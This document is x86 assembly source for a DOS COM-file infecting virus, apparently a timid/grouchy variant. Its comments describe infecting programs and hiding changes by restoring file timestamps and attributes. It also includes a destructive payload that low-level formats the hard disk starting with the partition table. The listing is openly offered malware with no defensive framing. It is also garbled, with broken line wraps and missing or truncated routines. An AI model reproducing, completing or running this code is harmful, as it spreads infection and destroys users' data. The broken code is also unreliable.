Danger
Danger
it gets the
first
;five bytes of its host and stores them elsewhere in the program and puts a
;jump to it at the start, along with the letters "gr", which are used to
;by the virus to identify an already infected program. the virus also save
;target file attributes and restores them on exit, so that date & time stamps
;aren't altered as with ealier timid\grouchy\t-heh variants.
;when it runs out of philes to infect, it will do a low-level format of the hdd
;starting with the partition table.
org 100h
;this is a shell of a program which will release the virus into the system.
;all it does is jump to the virus routine, which does its job and returns to
;it, at which point it terminates to dos.
host:
jmp near ptr virus_start ;note: masm is too stupid to
assemble this correctly
db 'gr'
mov ah,4ch
mov al,0
int 21h ;terminate normally with dos
virus_start:
call get_start ;get start address - this is a trick to determine
the location of the start of this program
get_start: ;put the address of get_start on the stack with
the call,
sub word ptr [vir_start],offset get_start - offset virus ;which is
overlayed by vir_start. subtract offsets to get @virus
mov dx,offset dta ;put dta at the end of the virus for now
mov ah,1ah ;set new dta function
int 21h
call find_file ;get a file to attack
jnz destroy ;returned nz - go to destroy routine
call sav_attrib
call infect ;have a good file to use - infect it
call rest_attrib
exit_virus:
mov dx,80h ;fix the dta so that the host program doesn't
mov ah,1ah ;get confused and write over its data with
int 21h ;file i/o or something like that!
mov bx,[vir_start] ;get the start address of
the virus
mov ax,word ptr [bx+(offset start_code)-(offset virus)]
;restore the 5 original bytes
mov word ptr [host],ax ;of
the com file to their
mov ax,word ptr [bx+(offset start_code)-(offset virus)+2] ;to
the start of the file
mov word ptr [host+2],ax
mov al,byte ptr [bx+(offset start_code)-(offset virus)+4] ;to
the start of the file
mov byte ptr [host+4],al
mov [vir_start],100h ;set up stack to do return
to host program
ret ;and return to host
;--------------------------------------------------------------------------
destroy:
mov ah,05h ;format hard disk starting at sector
mov dl,80h ;0 and continuing through sector 16
mov dh,0h ;this should wipe out the master boot
mov cx,0000h ;record & partition table
;-----------------------------------------------------------------------------
;find a file which passes file_ok
;
;this routine does a simple directory search to find a com file in the
;current directory, to find a file for which file_ok returns with c reset.
;
find_file:
mov dx,[vir_start]
add dx,offset comfile - offset virus ;this is zero here, so
omit it
mov cx,3fh ;search for any file, no matter what the
attributes
mov ah,4eh ;do dos search first function
int 21h
ff_loop:
or al,al ;is dos return ok?
jnz ff_done ;no - quit with z reset
call file_ok ;return ok - is this a good file to use?
jz ff_done ;yes - valid file found - exit with z set
mov ah,4fh ;not a valid file, so
int 21h ;do find next function
jmp ff_loop ;and go test next file for validity
ff_done:
ret
;--------------------------------------------------------------------------
;function to determine whether the file specified in fname is useable.
;if so return z, else return nz.
;what makes a phile useable?:
; a) there must be space for the virus without exceeding the
; 64 kbyte file size limit.
; b) bytes 0, 3 and 4 of the file are not a near jump op code,
; and 'g', 'r', respectively
;
file_ok:
mov ah,43h ;the beginning of this
mov al,0 ;routine gets the file's
mov dx,offset fname ;attribute and changes it
int 21h ;to r/w access so that when
mov [fattr],cl ;it comes time to open the
mov ah,43h ;file, the virus can easily
mov al,1 ;defeat files with a 'read
only'
mov dx,offset fname ;attribute. it leaves the
file r/w,
mov cl,0 ;because who checks that,
anyway?
int 21h
mov dx,offset fname
mov al,2
mov ax,3d02h ;r/w access open file,
since we'll want to write to it
int 21h
jc fok_nzend ;error opening file - quit
and say this file can't be used (probably won't happen)
mov bx,ax ;put file handle in bx
push bx ;and save it on the stack
mov cx,5 ;next read 5 bytes at the
start of the program
mov dx,offset start_image ;and store them here
mov ah,3fh ;dos read function
int 21h
;--------------------------------------------------------------------------
sav_attrib:
mov ah,43h
mov al,0
mov dx,offset fname
int 21h
mov [fattr],cl
mov ah,43h
mov al,1
mov dx, offset fname
mov cl,0
int 21h
mov dx,offset fname
mov al,2
mov ah,3dh
int 21h
mov [handle],ax
mov ah,57h
xor al,al
mov bx,[handle]
int 21h
mov [ftime],cx
mov [fdate],dx
mov ax,word ptr [dta+28]
mov word ptr [fsize+2],ax
mov ax,word ptr [dta+26]
mov word ptr [fsize],ax
ret
;------------------------------------------------------------------
rest_attrib:
mov dx,[fdate]
mov cx, [ftime]
mov ah,57h
mov al,1
mov bx,[handle]
int 21h
mov ah,3eh
mov bx,[handle]
int 21h
mov cl,[fattr]
xor ch,ch
mov ah,43h
mov al,1
mov dx,offset fname
int 21h
org 0ff2ah
main ends
end host